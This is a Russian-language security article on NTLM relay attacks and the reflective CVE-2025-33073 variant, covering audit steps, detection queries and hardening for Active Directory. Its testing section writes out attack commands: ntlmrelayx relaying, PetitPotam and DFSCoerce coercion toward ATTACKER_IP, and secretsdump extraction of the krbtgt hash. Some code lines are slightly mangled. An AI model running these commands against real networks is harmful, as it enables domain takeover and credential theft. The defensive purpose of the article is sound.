Введение в проблему протокольной безопасности

от

Введение в проблему протокольной безопасности

NTLM до сих пор поддерживается в операционных системах Windows, несмотря на появление Kerberos еще в 1990-х. Причина – необходимость обратной совместимости для легаси-приложений, устройств и специфического администрирования. Оставляя эту составляющую активной, организации невольно расширяют атакуемую поверхность: сохраненная поддержка NTLM позволяет злоумышленникам реализовать атаки relay, при которых перехваченные учетные данные ретранслируются на целевой сервис без раскрытия пароля.

Актуальный пример развития подобных атак — уязвимость CVE-2025-33073. Классические relay-сценарии подразумевали наличие атакующего между жертвой и целевым сервером. Новая вариация использует «рефлексивную» логику: аутентификация замыкается обратно на жертву (localhost) с помощью специально сконструированных запросов разрешения DNS-имен. В ряде случаев это позволяет атакующему получить системные права локальной машины, даже не имея прав администратора на этапе начала атаки.

В материале рассмотрены принципы злоупотребления механизмом NTLM Relay, методы тестирования инфраструктуры и рекомендации по снижению риска. Материал предназначен для специалистов по ИБ, аудиторов и архитекторов инфраструктур Active Directory. Применение описанных подходов допустимо только в легитимном тестировании.

Протокольная механика уязвимости

Суть уязвимости — в специфике взаимодействия между протоколом аутентификации NTLM, SMB и DNS. Ошибка не в криптографии, а в логике клиентской обработки путей и управлении DNS-записями.

Обмен аутентификацией NTLM

NTLM реализует схему challenge-response: клиент инициирует соединение, сервер отправляет случайный challenge, клиент возвращает ответ — результат вычисления с использованием хеша пароля. Сервер проверяет его, локально или через контроллер домена.

Главная проблема NTLM — отсутствие взаимной аутентификации. Посредник способен перехватить и ретранслировать пакеты с «response» на другой сервер (если не включена подпись SMB). В «рефлексивном» случае пакет отправляется обратно машине-источнику, которая из-за особенностей парсинга берет контекст безопасности текущего пользователя и выдает сеанс на собственном локальном интерфейсе.

Маршализация имен и DNS

Уязвимость CVE-2025-33073 эксплуатирует особенности работы с путями SMB. При обращении к ресурсу клиент инициирует DNS-разрешение. Уязвимые версии ОС некорректно обрабатывают определенные последовательности в имени хоста: имя может быть трактовано как призыв использовать локальный стек аутентификации, хотя канал инициирован по сети.

Атакующий создает специальную DNS-запись (например, с суффиксом, который триггерит парсер SMB), которая при обращении в итоге приводит к установлению локальной SMB-сессии. Большинство средств защиты фокусируются на ретрансляции на внешний адрес, но не учитывают сценариев с локальными IP (например, 127.0.0.1), где соединение идет «через сеть, но на себя».

Право создания DNS-записей зачастую открыто для группы Authenticated Users (по умолчанию в ряде конфигураций AD), что позволяет рядовому пользователю провести подготовку площадки атаки без эскалации привилегий.

Интерфейсы принудительной аутентификации

Аутентификация по протоколу не происходит «сама по себе» — атакующий инициирует её через легитимные RPC-интерфейсы, поддерживающие путь к удаленному ресурсу.

К основным каналам принуждения относятся:

  • MS-EFSR (EfsRpcOpenFileRaw): принимает UNC-путь для обработки файлов в контексте шифрования EFS.
  • MS-RPRN (RpcRemoteFindFirstPrinterChangeNotification): предусматривает возможность указания удаленной очереди печати.
  • MS-DFSNM: управление целями DFS, куда можно подставить вредоносный путь.

Если эти интерфейсы доступны, служба (обычно от имени SYSTEM) инициирует сетевое подключение, передает NTLM challenge/response — атакующий отражает его обратно.

[ИЗОБРАЖЕНИЕ: схема потока NTLM relay с атакующим и локальной машиной]

Методология тестирования инфраструктуры

Полноценный аудит NTLM Relay требует поэтапной процедуры: выявления настроек SMB, анализа DNS, проверки делегирования и моделирования атаки.

Этап 1: Разведка и анализ конфигурации

Первым делом выясняется, требует ли сервер/клиент SMB обязательную цифровую подпись. Без неё модификация пакета возможно; с ней — атакуемый пакет отклоняется.

Для проверки на удаленном хосте используйте PowerShell:

Invoke-Command -ComputerName TARGET_SERVER -ScriptBlock {
    Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature
}
Invoke-Command -ComputerName TARGET_SERVER -ScriptBlock {
    Get-SmbClientConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature
}

Параметр RequireSecuritySignature обязательно должен быть True для защиты.

Альтернатива — проверка через реестр (RequireSecuritySignature = 1 в соответствующих ветках).

HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters
HKLM:SYSTEMCurrentControlSetServicesLanmanWorkstationParameters

Массовая проверка по сети с помощью nmap:

nmap --script smb-security-mode -p 445 -iL targets.txt -oN smb_scan_results.txt

Результат message_signing: disabled/optional — признак уязвимости.

Этап 2: Проверка прав в DNS

Проверка проводится как средствами PowerShell, так и вручную:

$zone = "domain.local"
$acl = Get-Acl -Path "AD:DC=$zone,CN=MicrosoftDNS,DC=DomainDnsZones,DC=domain,DC=local"
$acl.Access | Where-Object { $_.IdentityReference -like "*Authenticated Users*" } | Select-Object IdentityReference, ActiveDirectoryRights

Риски создает наличие CreateChild/WriteProperty у Authenticated Users.

Этап 3: Симуляция атаки

Для моделирования используется ntlmrelayx из пакета Impacket (Linux, Python). Рекомендуется тестировать только на изолированном участке сети.

ntlmrelayx.py -t smb://TARGET_IP -smb2support --no-wcf-server -debug

Активация коэрсии с помощью PetitPotam или DFSCoerce:

python3 petitpotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP TARGET_IP
python3 DFSCoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP TARGET_IP

При успехе — на консоли relay-сервера появляется сессия SYSTEM, возможен запуск команд:

# EXECUTE COMMAND: whoami
# OUTPUT: nt authoritysystem

[ИЗОБРАЖЕНИЕ: скриншот успешного релея SYSTEM через ntlmrelayx]

Этап 4: Анализ делегирования

Компрометация хоста с активным Unconstrained Delegation (TrustedForDelegation = True) позволяет атакующему перехватывать билеты Kerberos и эскалировать привилегии домена.

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties DNSHostname, ServicePrincipalNames | 
    Select-Object DNSHostname, ServicePrincipalNames

Инструменты для аудита и атаки

Для анализа, симуляции и обоснования рисков принято использовать стандартный набор утилит ИБ-специалистов:

Impacket

Библиотека Python для работы с протоколами Windows. Ключевые утилиты:

  • ntlmrelayx.py: прослушка и ретрансляция аутентификации — ключевой инструмент.
  • secretsdump.py: извлечение хешей NTLM/Kerberos после получения доступа.
  • psexec.py, smbexec.py: интерактивное выполнение команд через SMB после удачного relay.

Пример: извлечение хеша администратора после relay.

secretsdump.py -just-dc-user krbtgt domain/user:pass@TARGET_IP

BloodHound

Система для создания графа отношений в AD. Позволяет наглядно увидеть пути эскалации и цепочки делегирования.

  • SharpHound: коллектор для сбора информации о сессиях, правах, группах.
  • Neo4j: сервис, где данные визуализируются и анализируются (запросы Cypher).

Пример поиска цепочек между машиной и Domain Admins:

MATCH p=(c:Computer {name:"SERVER01.DOMAIN.LOCAL"})-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS"})
RETURN p

Responder

Утилита для фиксации и эмуляции LLMNR/NBT-NS/MDNS, перехват “заблудившихся” запросов имени:

  • Режим мониторинга показывает попытки разрешения имен в стиле широковещательного поиска.
  • Режим атаки — отправка ложных ответов с целью захвата NTLM-хешей.

Пример запуска для мониторинга:

Responder.py -I eth0 -A

Certipy

Проверка статуса инфраструктуры сертификатов (AD CS). Опасный сценарий — получение сертификата контроллера домена через relay-атаку.

  • Выявляет уязвимые шаблоны (ENROLLEE_SUPPLIES_SUBJECT).
certipy find -u user@domain.local -p pass -dc-ip 10.0.0.1 -stdout

Детектирование атак в логах

Атаки relay сложно зафиксировать сигнатурно, поэтому предпочтителен поведенческий анализ и корреляция событий.

События Windows Event Log

Для обнаружения характерны следующие события:

  • Event 5140 (SMB): нетипичный доступ к IPC$ от учетных записей компьютеров.
  • Event 5145: обращение к специфическим именам каналов (pipeefsrpc, pipespoolss и др.).
  • Event 4624: вход SYSTEM по сети (Logon Type 3) — подозрительно для обычного режима работы.
  • Event 5142: создание очереди печати с аномальными параметрами.

Аналитика SIEM (пример KQL для Sentinel)

Поиск подозрительных SMB-подключений:

SecurityEvent
| where EventID == 5140
| where AccountName endswith "$"
| where ShareName == "*IPC$"
| summarize count() by AccountName, IpAddress, TimeGenerated
| where count_ > 5

Поиск вызовов RPC-интерфейсов коэрсии:

Sysmon
| where EventID == 1
| where ProcessName in~ ("spoolsv.exe", "lsass.exe", "dfs.exe")
| where CommandLine contains ""
| project TimeGenerated, Computer, ProcessName, CommandLine

Отслеживание изменений в DNS-зоне:

DNSAudit
| where EventID == 544
| where UserName !contains "DnsAdmins"
| where UserName !contains "Domain Admins"
| project TimeGenerated, UserName, RecordName, RecordType

Неавторизованное создание записей должно оперативно расследоваться.

Мониторинг сетевого трафика

SMB-трафик анализируется на предмет отсутствия подписей (Wireshark, Zeek и др.):

  • Пакеты NTLM Negotiate без флага NEGOTIATE_SIGNING — индикатор ослабленной конфигурации.
smb2.flags.signing == 0 && smb2.cmd == 0

Меры защиты и hardening

Эффективная защита требует комплекса мер: патчи, корректная конфигурация, контроль доступа и мониторинг.

Принудительная подпись SMB

Через GPO или реестр задается требование подписи на всей инфраструктуре:

  1. Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
  2. Включить Microsoft network client: Digitally sign communications (always) и Microsoft network server: Digitally sign communications (always)
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanWorkstationParameters]
"RequireSecuritySignature"=dword:00000001

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]
"RequireSecuritySignature"=dword:00000001

Необходимо убедиться в совместимости устройств (устаревшие принтеры/NAS могут перестать работать).

Ограничение прав в DNS

  1. Включите Advanced Features в ADUC.
  2. Откройте System → MicrosoftDNS, перейдите в нужную зону.
  3. Удалите Authenticated Users или снимите Create All Child Objects.
  4. Должны остаться только DnsAdmins и Domain Admins.

Автоматизация через PowerShell — внимательно с ACL:

$acl = Get-Acl -Path "AD:DC=domain.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=domain,DC=local"
# удаление/модификация правил и применение Set-Acl

Отключение служб коэрсии

Особенно — Print Spooler на контроллерах домена:

Stop-Service Spooler
Set-Service Spooler -StartupType Disabled

Дополнительно — firewall или сторонний RPC Firewall для блокировки опасных интерфейсов.

Защита учетных записей

Группа Protected Users ограничивает использование NTLM и делегирования для администраторов и сервисных аккаунтов. Используйте LAPS для уникализации паролей локального администратора. Для сервис-аккаунтов задайте флаг «Sensitive and cannot be delegated»:

Set-ADUser -Identity "ServiceAccount" -SensitiveAccount $true

Архитектурные изменения инфраструктуры

Наиболее долгосрочный и эффективный способ – внедрение моделей Zero Trust и ESAE (Tier-подход).

Tier 0: контроллеры домена, PKI, серверы управления.
Tier 1: бизнес-серверы.
Tier 2: пользовательские рабочие станции.

Аккаунты не должны быть использованы ниже своего уровня. Для админов выделяются отдельные рабочие станции (PAW), где блокируется выход в интернет и нет постороннего ПО. При возможности – раздельные леса для администрирования (Red Forest).

Внедрение моделей Zero Trust и Continuous Access Evaluation — каждая сессия и аутентификация анализируется, подозрительная — отзывается.

Процесс управления уязвимостями

Технические меры бессмысленны без выстроенного цикла управления обновлениями и конфигурациями.

Vulnerability Management: регулярные сканирования, приоритизация критических патчей (RCE/privilege escalation).

Configuration Management: поддержание соответствия GPO и реестра политике; автоматический возврат к эталону.

Penetration Testing: плановые тесты с обязательной проверкой NTLM relay и сопутствующих уязвимостей. Использование BAS-платформ (Breach and Attack Simulation).

Response Plan: заранее отработанный сценарий реагирования — сброс krbtgt, отзыв сессий, изоляция сегментов, расследование инцидентов с использованием SIEM.

Экономика угроз и мотивация

На теневых рынках ценятся доступы с возможностью эскалации через relay. Их продают группировки Initial Access Brokers. Уязвимость NTLM relay позволяет длительное время сохранять незаметный контроль над инфраструктурой, так как эксплуатация основана на стандартном сетевом трафике и редко вызывает тревогу защитных систем.

Страховые политики требуют обязательной реализации базовой гигиены (включая SMB signing, MFA, сегментацию). Отказ от этих мер может привести к невыплате по страховому случаю.

Практический чек-лист аудита

Для ускоренного самоаудита инфраструктуры рекомендуются следующие шаги:

  1. Идентифицировать хосты с RequireSecuritySignature = 0 (сканирование SMB).
  2. Проверить ACL DNS-зон — нет ли у Authenticated Users CreateChild/WriteProperty.
  3. Выявить машины с TrustedForDelegation = True.
  4. Включить сбор событий 5140, 5145, 4624 в SIEM/логах.
  5. Провести симуляционную атаку ntlmrelayx на тестовом участке.
  6. Внедрить коррекцию: включить SMB-подпись, изменить ACL DNS, отключить Spooler на DC.
  7. Настроить непрерывный контроль дрейфа конфигураций (например, через Intune, SCCM или сторонние средства).

Единоразовое выполнение этих шагов значительно снижает риск реализации атак по классу NTLM Relay. Однако защиту необходимо постоянно поддерживать — методы атак стремительно эволюционируют, и своевременная реакция на новые векторы критична для устойчивости инфраструктуры.

Оставьте комментарий